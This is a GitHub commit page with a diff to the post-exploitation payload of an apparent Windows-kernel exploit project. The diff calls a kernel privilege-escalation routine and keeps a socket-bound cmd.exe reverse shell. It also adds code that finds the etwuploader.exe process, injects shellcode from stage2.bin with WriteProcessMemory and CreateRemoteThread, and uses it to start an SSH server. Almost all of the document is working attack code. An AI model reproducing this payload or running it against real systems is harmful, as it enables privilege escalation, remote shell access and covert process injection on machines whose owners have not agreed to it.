Skip to content

Commit

Permalink
Change post-exploit behavior to hijack a system service for SSH server (
Browse files Browse the repository at this point in the history
#9)

* Update post-exploit to inject SSH server into etwuploader.exe

* Add preprocessor macro to retain simple reverse shell

* fix typo

* fix build
  • Loading branch information
landaire authored Sep 8, 2024
1 parent a7c91da commit 992d921
Show file tree
Hide file tree
Showing 3 changed files with 192 additions and 8 deletions.
2 changes: 1 addition & 1 deletion collat_payload/collat_payload.c
Original file line number Diff line number Diff line change
Expand Up @@ -508,7 +508,7 @@ int main(int argc, char** argv)
do_write(ioring_addr + 0x9D);

// Get kernel RW & elevate our process, then fix up SeMediumDaclSd
ioring_lpe2(GetCurrentProcessId(), 0x65007500, 0x1000, ioring_addr, g_kernel_base, build_rev);
ioring_lpe2(GetCurrentProcessId(), 0x65007500, 0x1000, ioring_addr, g_kernel_base);
cur_msg = "Exploit succeeded! Running payload!\n\n";
send(winSock, cur_msg, strlen(cur_msg), 0);

Expand Down
2 changes: 1 addition & 1 deletion collat_payload/ioring.h
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,7 @@ typedef struct _HIORING

int ioring_setup(PIORING_OBJECT* ppIoRingAddr);
void kwrite(UINT64 addr, PVOID data, SIZE_T size);
int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt, UINT64 ioring_addr);
int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt, UINT64 ioring_addr, UINT64 nt_base);
int map_region();
int race_succeeded(ULONG ulFakeRegBufferCnt, UINT64 ioring_addr);

Expand Down
196 changes: 190 additions & 6 deletions collat_payload/post_exploit.c
Original file line number Diff line number Diff line change
@@ -1,14 +1,20 @@
#include "post_exploit.h"

#include <stdio.h>
#include <psapi.h>
#include <ws2tcpip.h>

// Put your own code in here!
// Provided is a simple reverse shell example
void post_exploit(SOCKET sock)
{
#define POST_EXPLOIT_REVERSE_SHELL 0

typedef struct {
const char* image_name;
const char* image_args;
} SHELLCODE_ARGS;

void post_exploit_simple_reverse_shell(SOCKET sock) {
// Spawn CMD using the socket for input and output
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;

memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
Expand All @@ -18,6 +24,184 @@ void post_exploit(SOCKET sock)
sinfo.hStdOutput = (HANDLE)sock;

CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, "S:\\", &sinfo, &pinfo);
}

void post_exploit_spawn_ssh_server(SOCKET sock) {
CHAR* cur_msg[0x200] = { 0 };

// We leave this commented for easy debugging

//// Spawn CMD using the sock for input and output
//STARTUPINFO sinfo;
//PROCESS_INFORMATION pinfo;

//memset(&sinfo, 0, sizeof(sinfo));
//memset(&pinfo, 0, sizeof(pinfo));

//sinfo.cb = sizeof(sinfo);
//sinfo.dwFlags = STARTF_USESTDHANDLES;
//sinfo.hStdError = (HANDLE)sock;
//sinfo.hStdInput = (HANDLE)sock;
//sinfo.hStdOutput = (HANDLE)sock;

//sprintf(cur_msg, "Creating conhost process\n");
//send(sock, cur_msg, strlen(cur_msg), 0);

//CreateProcessA(NULL, "conhost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &sinfo, &pinfo);

//HANDLE target_process = pinfo.hProcess;
//DWORD target_pid = pinfo.dwProcessId;

// TO REMOVE ETWUPLOADER INJECTION, COMMENT FROM HERE TO NEXT MARKER

HANDLE target_process = INVALID_HANDLE_VALUE;
DWORD target_pid = -1;

DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;

sprintf(cur_msg, "Enumerating processes\n");
send(sock, cur_msg, strlen(cur_msg), 0);

if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
sprintf(cur_msg, "EnumProcessesFailed\n");
send(sock, cur_msg, strlen(cur_msg), 0);
return 1;
}


// Calculate how many process identifiers were returned.

cProcesses = cbNeeded / sizeof(DWORD);

// Print the name and process identifier for each process.

for (i = 0; i < cProcesses; i++)
{
DWORD pid = aProcesses[i];
if (pid != 0)
{
CHAR szProcessName[MAX_PATH] = "<unknown>";

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pid);

if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;

if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseNameA(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(CHAR));
}

sprintf(cur_msg, "Process: %s\n", szProcessName);
send(sock, cur_msg, strlen(cur_msg), 0);

if (strcmp(szProcessName, "etwuploader.exe") == 0) {
sprintf(cur_msg, "Found etwuploader.exe\n");
send(sock, cur_msg, strlen(cur_msg), 0);

target_process = hProcess;
target_pid = pid;

break;
}

CloseHandle(hProcess);
}
}
}

// MARKER

sprintf(cur_msg, "Injecting SSH server into PID: %d\n", target_pid);
send(sock, cur_msg, strlen(cur_msg), 0);

CHAR stage2_path[0x200] = { 0 };
ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\stage2.bin", stage2_path, sizeof(stage2_path));

sprintf(cur_msg, "Loading stage2 from: %s\n", stage2_path);
send(sock, cur_msg, strlen(cur_msg), 0);

HANDLE filehandle = CreateFileA(stage2_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0);
if (filehandle == INVALID_HANDLE_VALUE) {
sprintf(cur_msg, "Failed to load stage2\n");
send(sock, cur_msg, strlen(cur_msg), 0);
exit(0);
return;
}

DWORD file_size = GetFileSize(filehandle, NULL);

sprintf(cur_msg, "Allocating memory for the shellcode in the remote process\n");
send(sock, cur_msg, strlen(cur_msg), 0);

LPVOID shellcode_addr = VirtualAllocEx(target_process, 0, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
HANDLE h_heap = GetProcessHeap();
BYTE* shellcode_data = HeapAlloc(h_heap, 0, file_size);

DWORD remaining = file_size;
DWORD bytes_read = 0;

while (remaining > 0) {
ReadFile(filehandle, shellcode_data + (file_size - remaining), remaining, &bytes_read, NULL);
remaining -= bytes_read;
}

CloseHandle(filehandle);

sprintf(cur_msg, "Writing shellcode\n");
send(sock, cur_msg, strlen(cur_msg), 0);
WriteProcessMemory(target_process, shellcode_addr, shellcode_data, file_size, NULL);

sprintf(cur_msg, "VirtualProtecting shellcode\n");
send(sock, cur_msg, strlen(cur_msg), 0);
DWORD old_protection = 0;
VirtualProtectEx(target_process, shellcode_addr, file_size, PAGE_EXECUTE_READ, &old_protection);


sprintf(cur_msg, "Creating remote thread\n");
send(sock, cur_msg, strlen(cur_msg), 0);

char srv_name[0x200] = { 0 };
ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\srv.exe", srv_name, sizeof(srv_name));
sprintf(cur_msg, "New process to be started: %s\n", srv_name);
send(sock, cur_msg, strlen(cur_msg), 0);

LPVOID image_name = VirtualAllocEx(target_process, 0, sizeof(srv_name), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(target_process, image_name, srv_name, sizeof(srv_name), NULL);

SHELLCODE_ARGS args = {
image_name,
NULL,
};

LPVOID args_addr = VirtualAllocEx(target_process, 0, sizeof(args), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
sprintf(cur_msg, "Args will be allocated at: %p\n", args_addr);
send(sock, cur_msg, strlen(cur_msg), 0);

WriteProcessMemory(target_process, args_addr, &args, sizeof(args), NULL);

HANDLE thread_handle = CreateRemoteThread(target_process, NULL, 0, shellcode_addr, args_addr, 0, NULL);
//ResumeThread(thread_handle);
sprintf(cur_msg, "Remote thread HANDLE: %p\n", thread_handle);
send(sock, cur_msg, strlen(cur_msg), 0);
}

// Put your own code in here!
// Provided is a simple reverse shell example
void post_exploit(SOCKET sock)
{
#if POST_EXPLOIT_REVERSE_SHELL
post_exploit_simple_reverse_shell(sock);
#else
post_exploit_spawn_ssh_server(sock);
#endif

// Loop forever
while (1) {}
Expand Down

0 comments on commit 992d921

Please sign in to comment.